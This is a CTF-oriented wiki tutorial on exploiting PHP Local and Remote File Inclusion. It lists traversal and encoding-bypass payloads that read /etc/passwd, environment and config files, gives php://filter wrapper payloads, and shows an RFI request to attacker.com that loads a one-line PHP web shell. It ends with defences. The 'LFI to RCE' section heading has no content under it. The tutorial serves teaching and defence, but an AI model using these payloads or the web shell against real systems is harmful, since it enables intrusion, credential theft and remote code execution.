Athena Wiki
Web ExploitationServer-Side Attacks

LFI & RFI

webintermediate

Exploit Local and Remote File Inclusion to read sensitive files and achieve remote code execution in CTF web challenges.

weblfirfifile-inclusionpath-traversalphpwrapperslog-poisoningrce

LFI & RFI

File inclusion vulnerabilities occur when an application builds a filesystem path or include statement from user input without proper validation. There are two flavours:

  • Local File Inclusion (LFI) — the app includes a file already on the server. You read files you shouldn't (/etc/passwd, source code, config secrets) and, with the right primitive, escalate to code execution.
  • Remote File Inclusion (RFI) — the app includes a file from a URL you control, giving immediate remote code execution. RFI is rare today because the dangerous PHP settings that enable it (allow_url_include) are off by default, but it still appears in CTFs and legacy targets.

LFI ≠ path traversal

Plain path traversal lets you read arbitrary files. LFI means the file is interpreted/included by the language runtime (e.g. PHP include), which is what opens the door to code execution. The distinction matters when you plan the exploit.


How It Happens

// Vulnerable PHP: page name comes straight from the query string
$page = $_GET['page'];
include("pages/" . $page . ".php");
// Request: ?page=../../../../etc/passwd%00   (classic LFI)

The same anti-pattern exists in other stacks — Python (open(user_input)), Node (fs.readFile), Java (new File(...)) — but PHP's include/require is uniquely dangerous because included files are executed.


Step 1 — Confirm and Read Files

Start with path traversal to a known file. Vary the depth (../) until it resolves:

?page=../../../../../../etc/passwd
?page=....//....//....//etc/passwd          # bypass naive "../" stripping
?page=..%2f..%2f..%2fetc%2fpasswd           # URL-encoded
?page=%2e%2e%2f%2e%2e%2fetc%2fpasswd        # double-encoded segments

High-value targets to read:

/etc/passwd                 # confirms LFI, lists users
/proc/self/environ          # environment variables, sometimes secrets
/proc/self/cmdline          # how the process was launched
/var/www/html/config.php    # app DB creds and secret keys
/home/<user>/.bash_history  # commands, sometimes credentials
/var/log/...                # logs — see log poisoning below

The null byte trick is dead

%00 null-byte truncation (to strip an appended .php) only works on PHP < 5.3.4. Modern targets need a different approach — usually PHP wrappers or a path that doesn't force an extension. Treat %00 as a legacy/exam technique, not a 2026 default.


Step 2 — PHP Wrappers (the LFI Power Tools)

PHP stream wrappers turn a read primitive into source disclosure and code execution.

include would execute a .php file, hiding its source. Base64-encode it first so you get the raw text back:

?page=php://filter/convert.base64-encode/resource=config
?page=php://filter/convert.base64-encode/resource=../../../etc/passwd

Decode the base64 output to read the PHP source — invaluable for finding hardcoded credentials, secret keys, and the next vulnerability. A modern variant, the php_filter_chain technique, chains conversion filters to generate arbitrary bytes and reach RCE with no file upload at all (tool: php_filter_chain_generator).


Step 3 — LFI to RCE

When wrappers are blocked, turn a file read into code execution:


Remote File Inclusion (RFI)

If allow_url_include=On (rare, default off since PHP 5.2), point the include at a server you control:

?page=http://attacker.com/shell.txt
?page=ftp://attacker.com/shell.txt
// shell.txt hosted on your box
<?php system($_GET['c']); ?>

Because RFI requires that non-default setting, in modern challenges you will far more often exploit LFI + a wrapper than true RFI.


Filter Bypasses

# "../" stripped once → nest it
....//....//etc/passwd

# Encoding layers
%252e%252e%252f                 # double URL-encoding
..%c0%af                        # overlong UTF-8 (legacy servers)

# Forced base directory you must escape
?page=images/../../../../etc/passwd

# Appended extension you must satisfy with a wrapper instead of %00
?page=php://filter/convert.base64-encode/resource=index

Defence

  • Never pass user input to include/require/open. Map input to an allowlist of known files ($pages = ['home'=>'home.php', ...]).
  • Disable allow_url_include and allow_url_fopen (defaults in modern PHP).
  • Canonicalize paths (realpath) and verify they stay within an intended base directory.
  • Run the app with least privilege so traversal reads hit a wall.

Checklist

  • Confirm with ?page=../../../../etc/passwd (vary depth & encoding)
  • Read source with php://filter/convert.base64-encode/resource=
  • Hunt config files for DB creds and secret keys
  • Try data:// / php://input if allow_url_include is on
  • Escalate to RCE via log poisoning or session/temp-file inclusion
  • Consider php_filter_chain when no upload/log primitive exists
  • Remember %00 truncation only works on PHP < 5.3.4 (legacy)

See Also

  • SSRF — when the include/fetch targets internal services
  • Command Injection — landing a shell once you have RCE
  • XXE — another file-read primitive via XML parsers

Last updated on

On this page